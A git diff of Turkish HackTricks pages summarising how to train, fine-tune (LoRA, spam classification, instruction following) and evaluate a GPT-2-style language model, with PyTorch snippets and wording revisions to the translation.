> **Gradient clipping**, büyük sinir ağlarında **eğitim istikrarını** artırmak için kullanılan bir tekniktir ve gradyan büyüklükleri için bir **maksimum eşik** belirler. Gradyanlar bu önceden tanımlanmış `max_norm` değerini aştığında, modelin parametrelerine yapılan güncellemelerin yönetilebilir bir aralıkta kalmasını sağlamak için orantılı olarak ölçeklendirilir, bu da patlayan gradyanlar gibi sorunları önler ve daha kontrollü ve istikrarlı bir eğitim sağlar.
>
> _Bu iyileştirmenin önceki kodda yer almadığını unutmayın._
>
@ -647,15 +649,15 @@ return total_loss / num_batches
`create_dataloader_v1` ve `create_dataloader_v1` fonksiyonları daha önceki bir bölümde tartışılmıştır.
Buradan itibaren, metnin %90'ının eğitim için kullanılacağı, %10'unun ise doğrulama için kullanılacağı ve her iki kümenin de 2 farklı veri yükleyicisinde saklandığı belirtilmiştir.\
Bazen veri setinin bir kısmının modelin performansını daha iyi değerlendirmek için bir test seti olarak bırakıldığını unutmayın.
Buradan itibaren, metnin %90'ının eğitim için kullanılacağı, %10'unun ise doğrulama için kullanılacağı ve her iki kümenin 2 farklı veri yükleyicisinde saklandığı belirtilmiştir.\
Veri setinin bir kısmının, modelin performansını daha iyi değerlendirmek için bir test seti olarak bırakıldığını unutmayın.
Her iki veri yükleyici de aynı batch boyutunu, maksimum uzunluğu, stride'ı ve işçi sayısını (bu durumda 0) kullanmaktadır.\
Her iki veri yükleyici de aynı batch boyutunu, maksimum uzunluğu ve stride ile num workers'ı (bu durumda 0) kullanmaktadır.\
Ana farklar, her birinin kullandığı veridir ve doğrulayıcı, son veriyi atmamaktadır ve veriyi karıştırmamaktadır çünkü doğrulama amaçları için gerekli değildir.
Ayrıca, **stride'ın bağlam uzunluğu kadar büyük olması**, verilerin eğitiminde kullanılan bağlamlar arasında örtüşme olmayacağı anlamına gelir (aşırı uyumu azaltır ama aynı zamanda eğitim veri setini de azaltır).
Ayrıca, **stride'ın bağlam uzunluğu kadar büyük olması**, verileri eğitmek için kullanılan bağlamlar arasında örtüşme olmayacağı anlamına gelir (aşırı uyumu azaltır ama aynı zamanda eğitim veri setini de etkiler).
Dahası, bu durumda batch boyutunun 2 olduğunu ve verilerin 2 batch'e bölündüğünü unutmayın; bunun ana amacı paralel işlemeyi sağlamak ve her batch başına tüketimi azaltmaktır.
Dahası, bu durumda batch boyutunun 2 olduğunu ve verilerin 2 batch'e bölündüğünü unutmayın, bunun ana amacı paralel işlemeyi sağlamak ve her batch başına tüketimi azaltmaktır.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
@ -748,18 +750,18 @@ print("Validation loss:", val_loss)
```
### Eğitim fonksiyonları
`generate_and_print_sample` fonksiyonu, bir bağlam alacak ve modelin o noktada ne kadar iyi olduğunu anlamak için bazı token'lar üretecektir. Bu, her adımda `train_model_simple` tarafından çağrılır.
`generate_and_print_sample` fonksiyonu, bir bağlam alacak ve modelin o noktada ne kadar iyi olduğunu anlamak için bazı token'lar üretecektir. Bu, `train_model_simple` tarafından her adımda çağrılır.
`evaluate_model` fonksiyonu, eğitim fonksiyonuna belirtilen sıklıkta çağrılır ve model eğitimindeki o noktada eğitim kaybını ve doğrulama kaybını ölçmek için kullanılır.
Büyük fonksiyon `train_model_simple`, modeli gerçekten eğiten fonksiyondur. Beklentileri şunlardır:
- Eğitim verisi yükleyici (verilerin zaten ayrılmış ve eğitim için hazırlanmış haliyle)
- Eğitim verisi yükleyici (verilerin zaten ayrılmış ve eğitim için hazırlanmış hali)
- Doğrulayıcı yükleyici
- Eğitim sırasında kullanılacak **optimizer**: Bu, gradyanları kullanacak ve kaybı azaltmak için parametreleri güncelleyecek olan fonksiyondur. Bu durumda, göreceğiniz gibi, `AdamW` kullanılır, ancak daha birçok seçenek vardır.
- Her turda gradyanları biriktirmemek için `optimizer.zero_grad()` çağrılır.
- **`lr`** parametresi, modelin parametrelerini güncellerken optimizasyon sürecinde atılan **adımların boyutunu** belirleyen **öğrenme oranıdır**. Daha **küçük** bir öğrenme oranı, optimizer'ın ağırlıklara **daha küçük güncellemeler** yapması anlamına gelir, bu da daha **kesin** bir yakınsama sağlayabilir ancak eğitimi **yavaşlatabilir**. Daha **büyük** bir öğrenme oranı eğitimi hızlandırabilir ancak kayıp fonksiyonunun minimumunu **aşma riski** taşır (**kayıp fonksiyonunun minimize edildiği noktayı atlama**).
- **Ağırlık Çürümesi**, büyük ağırlıkları cezalandıran ekstra bir terim ekleyerek **Kayıp Hesaplama** adımını değiştirir. Bu, optimizer'ı daha küçük ağırlıklarla çözümler bulmaya teşvik eder, veriyi iyi bir şekilde uyum sağlamak ile modeli basit tutmak arasında denge kurarak makine öğrenimi modellerinde aşırı uyumu önler.
- Her turda gradyanları sıfırlamak için `optimizer.zero_grad()` çağrılır, böylece birikmezler.
- **`lr`** parametresi, modelin parametrelerini güncellerken optimizasyon sürecinde alınan **adım boyutunu** belirleyen **öğrenme oranıdır**. Daha **küçük** bir öğrenme oranı, optimizasyoncunun ağırlıklara **daha küçük güncellemeler** yapması anlamına gelir, bu da daha **kesin** bir yakınsama sağlayabilir ancak eğitimi **yavaşlatabilir**. Daha **büyük** bir öğrenme oranı eğitimi hızlandırabilir ancak kayıp fonksiyonunun minimumunu **aşma riski** taşır (**kayıp fonksiyonunun minimize edildiği noktayı atlama**).
- **Ağırlık Çürümesi**, büyük ağırlıkları cezalandıran ekstra bir terim ekleyerek **Kayıp Hesaplama** adımını değiştirir. Bu, optimizasyoncunun daha küçük ağırlıklarla çözümler bulmasını teşvik eder, veriyi iyi bir şekilde uyum sağlamak ile modeli basit tutmak arasında denge kurarak makine öğrenimi modellerinde aşırı uyum sağlamayı önler.
- L2 düzenlemesi ile SGD gibi geleneksel optimizatörler, ağırlık çürümesini kayıp fonksiyonunun gradyanı ile birleştirir. Ancak, **AdamW** (Adam optimizatörünün bir varyantı) ağırlık çürümesini gradyan güncellemesinden ayırarak daha etkili bir düzenleme sağlar.
- Eğitim için kullanılacak cihaz
- Epoch sayısı: Eğitim verisi üzerinde geçilecek süre sayısı
@ -828,9 +830,9 @@ print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!TIP]
> Öğrenme oranını artırmak için **lineer ısınma** ve **kosinüs azalması** adı verilen birkaç ilgili teknik vardır.
> Öğrenme oranını artırmak için **lineer ısınma** ve **kosinüs azalması** olarak adlandırılan birkaç ilgili teknik vardır.
>
> **Lineer ısınma**, başlangıç öğrenme oranını ve maksimum öğrenme oranını tanımlamak ve her epoch'tan sonra bunu sürekli güncellemektir. Bunun nedeni, eğitime daha küçük ağırlık güncellemeleriyle başlamak, modelin eğitim aşamasında büyük, dengesiz güncellemelerle karşılaşma riskini azaltmasıdır.\
> **Lineer ısınma**, başlangıç öğrenme oranını ve maksimum öğrenme oranını tanımlamak ve her epoch'tan sonra bunu tutarlı bir şekilde güncellemeyi içerir. Bunun nedeni, eğitime daha küçük ağırlık güncellemeleriyle başlamak, modelin eğitim aşamasında büyük, dengesiz güncellemelerle karşılaşma riskini azaltmasıdır.\
> **Kosinüs azalması**, **ısınma** aşamasından sonra yarım-kosinüs eğrisi izleyerek **öğrenme oranını kademeli olarak azaltan** bir tekniktir; bu, ağırlık güncellemelerini yavaşlatarak **kaybın minimumunu aşma riskini en aza indirmeyi** ve sonraki aşamalarda eğitim istikrarını sağlamayı amaçlar.
>
> _Bu iyileştirmelerin önceki kodda yer almadığını unutmayın._
@ -917,7 +919,7 @@ optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
Ya da sadece kullanmayı planlıyorsanız modeli:
Ya da sadece modeli kullanmayı planlıyorsanız:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
@ -929,13 +931,16 @@ model.load_state_dict(torch.load("model.pth", map_location=device))
model.eval() # Put in eval mode
```
## GPT2 ırlıklarının Yüklenmesi
## GPT2 ırlıklarını yükleme
GPT2 ağırlıklarını yerel olarak yüklemek için 2 hızlı betik bulunmaktadır. Her ikisi için de [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) deposunu yerel olarak klonlayabilirsiniz, ardından:
GPT2 ağırlıklarını yerel olarak yüklemek için 2 hızlı betik vardır. Her ikisi için de yerel olarak [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) deposunu klonlayabilirsiniz, ardından:
- Betik [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) tüm ağırlıkları indirecek ve OpenAI'den beklenen formatlara dönüştürecektir. Betik ayrıca gerekli yapılandırma ile ve "Her çaba seni ileri taşır" ifadesiyle hazırlanmıştır.
- Betik [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) tüm ağırlıkları indirecek ve OpenAI'den LLM'mizin beklediği formatlara dönüştürecektir. Betik ayrıca gerekli yapılandırma ile ve "Her çaba seni ileriye taşır" ifadesiyle hazırlanmıştır.
- Betik [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) yerel olarak herhangi bir GPT2 ağırlığını yüklemenizi sağlar (sadece `CHOOSE_MODEL` değişkenini değiştirin) ve bazı istemlerden metin tahmin etmenizi sağlar.
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,13 +1,15 @@
# 7.0. LoRA İyileştirmeleri
{{#include /banners/hacktricks-training.md}}
## LoRA İyileştirmeleri
> [!TIP]
> **LoRA'nın kullanımı, zaten eğitilmiş modelleri ince ayar yapmak için gereken hesaplamayı büyük ölçüde azaltır.**
> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır.
LoRA, **büyük modelleri** yalnızca modelin **küçük bir kısmını** değiştirerek verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitmeniz gereken parametre sayısını azaltarak **bellek** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni:
1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise ( **A** ve **B** olarak adlandırılır) **bölerek** çalışır. Bu, eğitimi **daha hızlı** hale getirir ve daha az bellek gerektirir çünkü daha az parametre güncellenmesi gerekir.
1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise (A ve B olarak adlandırılır) **bölerek** çalışır. Bu, eğitimi **daha hızlı** hale getirir ve daha az bellek gerektirir çünkü daha az parametre güncellenmesi gerekir.
1. Bunun nedeni, bir katmanın (matrisin) tam ağırlık güncellemesini hesaplamak yerine, bunu 2 daha küçük matrisin çarpımı olarak yaklaşık olarak hesaplamasıdır ve güncellemeyi hesaplamayı azaltır:\
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,27 +1,29 @@
# 7.1. Sınıflandırma için İnce Ayar
{{#include /banners/hacktricks-training.md}}
## Nedir
İnce ayar, büyük miktarda veriden **genel dil kalıplarını** öğrenmiş bir **önceden eğitilmiş modeli** alıp bunu **belirli bir görevi** yerine getirecek şekilde veya alan spesifik dili anlamak için **uyarlama** sürecidir. Bu, modelin daha küçük, görev spesifik bir veri seti üzerinde eğitimine devam edilerek gerçekleştirilir; böylece model, yeni verinin inceliklerine daha iyi uyum sağlamak için parametrelerini ayarlarken, zaten edinmiş olduğu geniş bilgiyi kullanabilir. İnce ayar, modelin sıfırdan yeni bir model eğitmeye gerek kalmadan, özel uygulamalarda daha doğru ve ilgili sonuçlar vermesini sağlar.
İnce ayar, büyük miktarda veriden **genel dil kalıplarını** öğrenmiş bir **önceden eğitilmiş modeli** alıp bunu **belirli bir görevi** yerine getirecek şekilde veya alan spesifik dili anlamak için **uyarlama** sürecidir. Bu, modelin daha küçük, görev spesifik bir veri kümesi üzerinde eğitimine devam edilerek gerçekleştirilir; böylece model, yeni verinin inceliklerine daha iyi uyum sağlamak için parametrelerini ayarlarken, zaten edinmiş olduğu geniş bilgiyi kullanabilir. İnce ayar, modelin sıfırdan yeni bir model eğitmeye gerek kalmadan, özel uygulamalarda daha doğru ve ilgili sonuçlar sunmasını sağlar.
> [!TIP]
> LLM'yi "anlayan" bir metin için önceden eğitmek oldukça pahalı olduğundan, genellikle açık kaynaklı önceden eğitilmiş modelleri belirli bir görevi yerine getirmesi için ince ayar yapmak daha kolay ve ucuzdur.
> "Metni anlayan" bir LLM'yi önceden eğitmek oldukça pahalı olduğundan, genellikle açık kaynaklı önceden eğitilmiş modelleri belirli bir görevi yerine getirmesi için ince ayar yapmak daha kolay ve ucuzdur.
> [!TIP]
> Bu bölümün amacı, zaten önceden eğitilmiş bir modeli ince ayar yapmayı göstermektir; böylece LLM yeni metin üretmek yerine, verilen metnin her bir verilen kategoriye ait olma **olasılıklarını** seçecektir (örneğin, bir metnin spam olup olmadığını).
## Veri setini hazırlama
## Veri kümesini hazırlama
### Veri seti boyutu
### Veri kümesi boyutu
Elbette, bir modeli ince ayar yapmak için LLM'nizi özelleştirmek için bazı yapılandırılmış verilere ihtiyacınız var. [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) adresinde önerilen örnekte, GPT2 bir e-postanın spam olup olmadığını tespit etmek için [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip) verilerini kullanarak ince ayar yapılmıştır.
Bu veri seti, "spam" olanlardan çok daha fazla "spam olmayan" örnek içermektedir; bu nedenle kitap, **"spam olmayan" örneklerden yalnızca "spam" olanlar kadarını kullanmayı** önermektedir (bu nedenle, eğitim verisinden tüm ekstra örnekleri kaldırmak). Bu durumda, her birinden 747 örnek vardı.
Bu veri kümesi, "spam" olanlardan çok daha fazla "spam değil" örneği içermektedir; bu nedenle kitap, **"spam değil" örneklerinden yalnızca "spam" olanlar kadarını kullanmayı** önermektedir (bu nedenle, eğitim verisinden tüm ekstra örnekleri kaldırmak). Bu durumda, her birinden 747 örnek vardı.
Ardından, **veri setinin %70'i** **eğitim** için, **%10'u** **doğrulama** için ve **%20'si** **test** için kullanılır.
Ardından, **veri kümesinin %70'i** **eğitim** için, **%10'u** **doğrulama** için ve **%20'si** **test** için kullanılır.
- **Doğrulama seti**, modelin **hiperparametrelerini** ince ayar yapmak ve model mimarisi hakkında kararlar almak için eğitim aşamasında kullanılır; bu, modelin görülmemiş veriler üzerindeki performansına geri bildirim sağlayarak aşırı uyum sağlamayı önlemeye yardımcı olur. Nihai değerlendirmeyi önyargılamadan yinelemeli iyileştirmelere olanak tanır.
- Bu, bu veri setinde yer alan verilerin doğrudan eğitim için kullanılmadığı, ancak en iyi **hiperparametreleri** ayarlamak için kullanıldığı anlamına gelir; bu nedenle bu set, modelin performansını test seti gibi değerlendirmek için kullanılamaz.
- Bu, bu veri kümesine dahil edilen verilerin doğrudan eğitim için kullanılmadığı, ancak en iyi **hiperparametreleri** ayarlamak için kullanıldığı anlamına gelir; bu nedenle bu set, modelin performansını test seti gibi değerlendirmek için kullanılamaz.
- Aksine, **test seti**, model tamamen eğitildikten ve tüm ayarlamalar tamamlandıktan **sonra yalnızca** kullanılır; bu, modelin yeni, görülmemiş verilere genelleme yeteneğini tarafsız bir şekilde değerlendirir. Test setindeki bu nihai değerlendirme, modelin gerçek dünya uygulamalarında nasıl performans göstermesi gerektiğine dair gerçekçi bir gösterge sunar.
### Girdi uzunluğu
@ -45,9 +47,9 @@ in_features=BASE_CONFIG["emb_dim"],
out_features=num_classes
)
```
## Ayarları ince ayar yapmak
## Ayarları Ayarlamak
Hızlı bir şekilde ince ayar yapmak için tüm parametreleri ince ayar yapmak yerine sadece bazı son parametreleri ince ayar yapmak daha kolaydır. Bunun nedeni, alt katmanların genellikle temel dil yapıları ve uygulanabilir anlamları yakaladığı bilinmektedir. Bu nedenle, sadece **son katmanları ince ayar yapmak genellikle yeterlidir ve daha hızlıdır**.
Hızlı bir şekilde ince ayar yapmak için tüm parametreleri ayarlamak yerine sadece bazı son parametreleri ayarlamak daha kolaydır. Bunun nedeni, alt katmanların genellikle temel dil yapıları ve uygulanabilir anlamları yakaladığı bilinmektedir. Bu nedenle, **sadece son katmanları ince ayar yapmak genellikle yeterlidir ve daha hızlıdır**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
@ -64,9 +66,9 @@ param.requires_grad = True
```
## Eğitim için kullanılacak girdiler
Önceki bölümlerde LLM, modelin dili daha iyi anlaması için, tahmin edilen her token'ın kaybını azaltarak eğitildi; bu, tahmin edilen token'ların neredeyse tamamının giriş cümlesinde olduğu (sadece sonunda gerçekten tahmin edilen 1 token vardı) anlamına geliyordu.
Önceki bölümlerde LLM, her tahmin edilen token'ın kaybını azaltarak eğitildi, bu da tahmin edilen token'ların neredeyse tamamının giriş cümlesinde olduğu (sadece sonunda gerçekten tahmin edilen 1 token vardı) modelin dili daha iyi anlaması içindi.
Bu durumda, modelin spam olup olmadığını tahmin edebilmesiyle ilgileniyoruz, bu nedenle yalnızca tahmin edilen son token ile ilgileniyoruz. Bu nedenle, önceki eğitim kayıp fonksiyonlarımızı yalnızca bu token'ı dikkate alacak şekilde değiştirmek gerekiyor.
Bu durumda, modelin spam olup olmadığını tahmin edebilmesiyle ilgileniyoruz, bu nedenle yalnızca tahmin edilen son token ile ilgileniyoruz. Bu nedenle, önceki eğitim kaybı fonksiyonlarımızı yalnızca bu token'ı dikkate alacak şekilde değiştirmek gerekiyor.
Bu, [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) adresinde şu şekilde uygulanmıştır:
```python
@ -99,7 +101,7 @@ logits = model(input_batch)[:, -1, :] # Logits of last output token
loss = torch.nn.functional.cross_entropy(logits, target_batch)
return loss
```
Her bir batch için yalnızca **son tahmin edilen token'ın logits'leriyle** ilgilendiğimizi unutmayın.
Not edin ki her bir batch için yalnızca **son tokenin tahmin edilen logits'leriyle** ilgileniyoruz.
## Tam GPT2 ince ayar sınıflandırma kodu
@ -108,3 +110,5 @@ GPT2'yi bir spam sınıflandırıcısı olarak ince ayar yapmak için tüm kodu
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,4 +1,6 @@
# 7.2. Talimatları Takip Etmek için İnce Ayar
# 7.2. Talimatları Takip Etmek İçin İnce Ayar
{{#include /banners/hacktricks-training.md}}
> [!TIP]
> Bu bölümün amacı, **metin üretmekten ziyade talimatları takip etmek için önceden eğitilmiş bir modeli ince ayar yapmayı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek.
@ -49,52 +51,54 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
Sonra, her zamanki gibi, veri kümesini eğitim, doğrulama ve test için setlere ayırmak gereklidir.
O halde, her zamanki gibi, veri kümesini eğitim, doğrulama ve test için setlere ayırmak gereklidir.
## Batching & Data Loaders
Sonra, eğitim için tüm girdileri ve beklenen çıktıları gruplamak gereklidir. Bunun için:
- Metinleri tokenleştir
- Tüm örnekleri aynı uzunluğa (genellikle uzunluk, LLM'yi önceden eğitmek için kullanılan bağlam uzunluğu kadar büyük olacaktır) doldur
- Özel bir birleştirme fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluştur
- Eğitim kaybından hariç tutmak için bazı doldurma tokenlerini -100 ile değiştir: İlk `endoftext` tokeninden sonra, diğer tüm `endoftext` tokenlerini -100 ile değiştir (çünkü `cross_entropy(...,ignore_index=-100)` kullanmak, -100 olan hedefleri yok sayacağı anlamına gelir)
- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskele. Alpaca stilinde bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir.
- Metinleri tokenleştirin
- Tüm örnekleri aynı uzunluğa (genellikle uzunluk, LLM'yi önceden eğitmek için kullanılan bağlam uzunluğu kadar büyük olacaktır) doldurun
- Özel bir toplama fonksiyonunda girişi 1 kaydırarak beklenen tokenleri oluşturun
- Eğitim kaybından hariç tutmak için bazı doldurma tokenlerini -100 ile değiştirin: İlk `endoftext` tokeninden sonra, diğer tüm `endoftext` tokenlerini -100 ile değiştirin (çünkü `cross_entropy(...,ignore_index=-100)` kullanmak, -100 olan hedefleri yok sayacağı anlamına gelir)
- \[Opsiyonel\] LLM'nin yalnızca yanıtı nasıl üreteceğini öğrenmesi için soruya ait tüm tokenleri -100 ile maskeleyin. Alpaca stilinde bu, `### Response:`'a kadar her şeyi maskelemek anlamına gelecektir.
Bunu oluşturduktan sonra, her veri kümesi (eğitim, doğrulama ve test) için veri yükleyicilerini oluşturma zamanı.
## Load pre-trained LLM & Fine tune & Loss Checking
İnce ayar yapmak için önceden eğitilmiş bir LLM yüklemek gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür.
Bir önceden eğitilmiş LLM'yi yükleyip ince ayar yapmak gereklidir. Bu, diğer sayfalarda zaten tartışılmıştır. Sonra, LLM'yi ince ayar yapmak için daha önce kullanılan eğitim fonksiyonunu kullanmak mümkündür.
Eğitim sırasında, eğitim kaybı ve doğrulama kaybının epochlar boyunca nasıl değiştiğini görmek de mümkündür; böylece kaybın azalıp azalmadığını ve aşırı uyumun olup olmadığını görebilirsiniz.\
ırı uyum, eğitim kaybı azalırken doğrulama kaybının azalmadığı veya hatta arttığı durumlarda meydana gelir. Bunu önlemek için, bu davranışın başladığı epoch'ta eğitimi durdurmak en basit şeydir.
Eğitim sırasında, eğitim kaybı ve doğrulama kaybının dönemler boyunca nasıl değiştiğini görmek de mümkündür; böylece kaybın azalıp azalmadığını ve aşırı uyumun olup olmadığını görebilirsiniz.\
ırı uyum, eğitim kaybı azalırken doğrulama kaybının azalmadığı veya hatta arttığı durumlarda meydana gelir. Bunu önlemek için, bu davranışın başladığı dönemde eğitimi durdurmak en basit şeydir.
## Response Quality
Bu, kayıp değişimlerine daha fazla güvenilebilecek bir sınıflandırma ince ayarı olmadığı için, test setindeki yanıtların kalitesini kontrol etmek de önemlidir. Bu nedenle, tüm test setlerinden üretilen yanıtları toplamak ve **kalitelerini manuel olarak kontrol etmek** önerilir; böylece yanlış yanıtlar olup olmadığını görebilirsiniz (LLM'nin yanıt cümlesinin formatını ve sözdizimini doğru bir şekilde oluşturması mümkün, ancak tamamen yanlış bir yanıt vermesi de mümkündür. Kayıp değişimi bu davranışı yansıtmayacaktır).\
Ayrıca, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek yanıtları değerlendirmelerini istemek** de mümkündür.
Bu incelemeyi, üretilen yanıtları ve beklenen yanıtları **diğer LLM'lere geçirerek ve onlardan yanıtları değerlendirmelerini isteyerek** de gerçekleştirmek mümkündür.
Yanıtların kalitesini doğrulamak için çalıştırılacak diğer testler:
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU, bir modelin bilgi ve problem çözme yeteneklerini 57 konu üzerinde değerlendirir; bunlar arasında beşeri bilimler, bilimler ve daha fazlası bulunmaktadır. Farklı zorluk seviyelerinde anlayışı değerlendirmek için çoktan seçmeli sorular kullanır.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Bu platform, kullanıcıların farklı chatbotlardan gelen yanıtları yan yana karşılaştırmalarına olanak tanır. Kullanıcılar bir istem girer ve birden fazla chatbot, doğrudan karşılaştırılabilen yanıtlar üretir.
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, GPT-4 gibi gelişmiş bir LLM'nin diğer modellerin çeşitli istemlere verdiği yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Bu platform, kullanıcıların farklı chatbotlardan gelen yanıtları yan yana karşılaştırmalarına olanak tanır. Kullanıcılar bir istem girdiğinde, birden fazla chatbot yanıtlar üretir ve bunlar doğrudan karşılaştırılabilir.
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval, GPT-4 gibi gelişmiş bir LLM'nin çeşitli istemlere yanıtları değerlendirdiği otomatik bir değerlendirme çerçevesidir.
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE, duygu analizi, metin çıkarımı ve soru yanıtlama gibi dokuz doğal dil anlama görevinden oluşan bir koleksiyondur.
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE üzerine inşa edilen SuperGLUE, mevcut modeller için zorlayıcı olan daha zorlu görevleri içerir.
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench, bir modelin akıl yürütme, çeviri ve soru yanıtlama gibi alanlardaki yeteneklerini test eden 200'den fazla görev içeren büyük ölçekli bir benchmark'tır.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM, doğruluk, sağlamlık ve adalet gibi çeşitli metrikler üzerinden kapsamlı bir değerlendirme sağlar.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM, doğruluk, dayanıklılık ve adalet gibi çeşitli metrikler üzerinden kapsamlı bir değerlendirme sağlar.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI tarafından geliştirilen, AI modellerinin özel ve standartlaştırılmış görevlerde test edilmesine olanak tanıyan açık kaynaklı bir değerlendirme çerçevesidir.
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Dil modellerinin kod üretme yeteneklerini değerlendirmek için kullanılan bir dizi programlama problemi.
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin doğru yanıt vermek için metni anlaması gereken Wikipedia makaleleri hakkında sorulardan oluşur.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve yanıtları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri kümesi.
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD, modellerin metni anlaması gerektiği Wikipedia makaleleri hakkında sorulardan oluşur.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Trivia soruları ve cevapları ile birlikte kanıt belgelerinden oluşan büyük ölçekli bir veri kümesi.
ve daha birçokları
## Follow instructions fine-tuning code
Bu ince ayarı gerçekleştirmek için kod örneğini [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) adresinde bulabilirsiniz.
Bu ince ayarı gerçekleştirmek için bir kod örneğini [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) adresinde bulabilirsiniz.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,6 +1,8 @@
# LLM Eğitimi - Veri Hazırlığı
**Bunlar, çok önerilen bir kitaptan aldığım notlar** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **ve bazı ek bilgiler.**
{{#include /banners/hacktricks-training.md}}
**Bunlar, bazı ek bilgilerle birlikte çok önerilen kitabımdan aldığım notlar** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **.**
## Temel Bilgiler
@ -32,9 +34,9 @@ Bilmeniz gereken bazı temel kavramlar için bu gönderiyi okumaya başlamalıs
> [!TIP]
> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'a modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir nokta olacaktır.\
> Başlangıçta her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu konumlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir).
> Başlangıçta, her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu konumlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir).
>
